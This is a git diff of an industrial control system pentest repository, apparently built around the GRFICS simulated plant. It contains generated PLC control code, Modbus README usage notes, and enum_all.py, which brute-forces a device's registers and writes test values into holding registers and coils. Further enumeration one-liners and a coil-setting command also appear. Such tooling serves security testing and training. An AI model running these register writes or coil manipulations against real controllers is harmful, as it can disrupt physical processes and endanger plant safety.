__SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT 